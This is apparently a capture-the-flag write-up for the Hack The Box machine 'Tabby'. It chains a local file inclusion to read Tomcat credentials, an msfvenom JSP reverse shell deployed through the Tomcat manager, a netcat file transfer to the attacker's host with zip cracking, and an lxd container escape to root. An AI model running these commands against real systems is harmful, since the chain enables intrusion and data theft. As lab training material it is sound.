Tabby - Hack The Box

July 6, 2020

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root@nidus:/git/htb# nmap -Pn -sC -sV -n 10.10.10.194 Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-06 00:47 CEST Nmap scan report for 10.10.10.194 Host is up (0.038s latency). Not shown: 997 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Mega Hosting 8080/tcp open http Apache Tomcat |_http-open-proxy: Proxy might be redirecting requests |_http-title: Apache Tomcat Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

DIRB:
- http://10.10.10.194:8080/docs (CODE:302 SIZE:0)
- http://10.10.10.194:8080/examples (CODE:302 SIZE:0)
- http://10.10.10.194:8080/host-manager (CODE:302 SIZE:0)
- http://10.10.10.194:8080/index.html (CODE:200 SIZE:1895)
- http://10.10.10.194:8080/manager (CODE:302 SIZE:0)
NIKTO: -
Visiting the webpage on port 80 we directly find;
- Hostname megahosting.htb
- The site is also made with Bootstrap Themes from 2016
- Information about a breach linking to http://megahosting.htb/news.php?file=statement
Adding megahosting.htb to /etc/hosts we are able to read their statement. Looking at the URI it looks vulnerable to LFI, testing this proves that that’s the case - instead of reading the file ‘statement’ we can read ‘../../../../../etc/passwd’.

Reading the passwd-file we find the user Ash; ash:x:1000:1000:clive:/home/ash:/bin/bash

On the port 8080 webserver we find a Tomcat9 server with a admin login prompt. Using the found LFI we can enumerate the tomcat server and look for credentials. To find the file structure I installed tomcat9 locally and enumerated the directories locally;

root@nidus:/usr/share/tomcat9# tree . .. ├── etc │ ├── server.xml │ ├── tomcat-users.xml │ └── web.xml

We find the user configuration file under /usr/share/tomcat9/etc/tomcat-users.xml. Curling this through our LFI gives us;

root@nidus:/git/htb/tabby# curl http://megahosting.htb/news.php?file=../../../../../../../../usr/share/tomcat9/etc/tomcat-users.xml .. </tomcat-users>

CREDENTIALS - tomcat:$3cureP4s5w0rd123!
Reading through the Tomcat documentation tells us that if we have access to the host-manager, we are able to add, remove and manage Virtual Hosts through curl.

We create a malicious payload: root@nidus:/git/htb/tabby# msfvenom -p java/jsp_shell_reverse_tcp lhost=10.10.14.44 lport=4488 -f war > rev-shell.war Payload size: 1086 bytes Final size of war file: 1086 bytes

Upload the shell: root@nidus:/git/htb/tabby# curl -u ‘tomcat’:’$3cureP4s5w0rd123!’ -T rev.war ‘http://10.10.10.194:8080/manager/text/deploy?path=/rev-shell’ OK - Deployed application at context path [/rev-shell]

List Deployed Shell: root@nidus:/git/htb/tabby# curl -u ‘tomcat’:’$3cureP4s5w0rd123!’ http://10.10.10.194:8080/manager/text/list OK - Listed applications for virtual host [localhost] /:running:0:ROOT /examples:running:0:/usr/share/tomcat9-examples/examples /host-manager:running:0:/usr/share/tomcat9-admin/host-manager /rev-shell:running:0:rev-shell /manager:running:0:/usr/share/tomcat9-admin/manager /docs:running:0:/usr/share/tomcat9-docs/docs

Execute Deployed Shell: root@nidus:/git/htb/tabby# curl -u ‘tomcat’:’$3cureP4s5w0rd123!’ http://10.10.10.194:8080/rev-shell/

root@nidus:/usr/share/tomcat9# nc -lvnp 4488 listening on [any] 4488 … connect to [10.10.14.44] from (UNKNOWN) [10.10.10.194] 45912 whoami tomcat
Enumerating using linpeas we find a suspicious zip-file that is password protected. We are unable to open it using the found password, so instead I think we might be able to brute force it. Transfer the file over to your local computer using nc.

tomcat@tabby:/dev/shm$ ./linpeas.sh .. [+] Backup files? -rw-r–r– 1 ash ash 8716 Jun 16 13:42 /var/www/html/files/16162020_backup.zip

Start listener locally: root@nidus:/git/htb/tabby# nc -lp 4433 > 16162020_backup.zip

Transfer the file from Victim Host: tomcat@tabby:/var/www/html/files$ nc -w3 10.10.14.44 4433 < 16162020_backup.zip

Crack the file using fcrackzip: root@nidus:/git/htb/tabby# fcrackzip -D -p /usr/share/wordlists/rockyou.txt 16162020_backup.zip possible pw found: admin@it ()
We are now able to change to user ash:admin@it and grab user.txt

tomcat@tabby:/var/www/html/files$ su ash Password: admin@it ash@tabby:/var/www/html/files$ cd /home/ash/ ash@tabby:~$ cat user.txt 3f11605318e3590cea5082935ac8d9cb

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Running Linpeas as Ash we see a, for me, unknown group - lxd. Googling for lxd privesc I find a short article explaining that that this is possible with a few short steps.

====================================( Basic information )===================================== .. User & Groups: uid=1000(ash) gid=1000(ash) groups=1000(ash),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd)
Download lxd alpine builder and build it LOCALLY before pushing it over to the vicitm.

root@nidus:/git/htb/tabby# git clone https://github.com/saghul/lxd-alpine-builder.git root@nidus:/git/htb/tabby# cd lxd-alpine-builder/ root@nidus:/git/htb/tabby/lxd-alpine-builder# ./build-alpine

A tar.gz-file is created that we can push/pull to the victim. root@nidus:/git/htb/tabby/lxd-alpine-builder# ls -al -rw-r–r– 1 root root 3195037 Jul 6 16:56 alpine-v3.12-x86_64-20200706_1656.tar.gz
Pull the tar.gz-file and import it as an image. Mount to a container and profit, root taken.

ash@tabby:~$ wget http://10.10.14.44:8181/alpine-v3.12-x86_64-20200706_1656.tar.gz ash@tabby:~$ lxc image import ./alpine-v3.12-x86_64-20200706_1656.tar.gz –alias p3-image If this is your first time running LXD on this machine, you should also run: lxd init To start your first instance, try: lxc launch ubuntu:18.04

If you started the box yourself, or no one has run lxd yet - write ‘lxd init’ and just press enter to access all default values.

ash@tabby:~$ lxc image list
  +----------+--------------+--------+-------------------------------+--------------+-----------+--------+-----------------------------+
  |  ALIAS   | FINGERPRINT  | PUBLIC |          DESCRIPTION          | ARCHITECTURE |   TYPE    |  SIZE  |         UPLOAD DATE         |
  +----------+--------------+--------+-------------------------------+--------------+-----------+--------+-----------------------------+
  | p3-image | a17d99462fda | no     | alpine v3.12 (20200706_16:56) | x86_64       | CONTAINER | 3.05MB | Jul 6, 2020 at 1:18pm (UTC) |
  +----------+--------------+--------+-------------------------------+--------------+-----------+--------+-----------------------------+

Continue to add a device and select the folder(s) you’d like to mount. In our case we mount the entire box (/) to /mnt/root.

ash@tabby:~$ lxc init p3-image ignite -c security.privileged=true
  Creating ignite
ash@tabby:~$ lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
  Device mydevice added to ignite
ash@tabby:~$ lxc start ignite
ash@tabby:~$ lxc exec ignite /bin/sh
~ # id
  uid=0(root) gid=0(root)
~ # cd /mnt/root/root/
/mnt/root/root # cat root.txt
  67667b1756a9729b7fadc7f7315019b9

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TomCat; Add, Remove, Manage: https://tomcat.apache.org/tomcat-9.0-doc/manager-howto.html#Deploy_a_Directory_or_WAR_by_URL

lxd PrivEsc: https://www.hackingarticles.in/lxd-privilege-escalation/

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Tabby - Hack The Box

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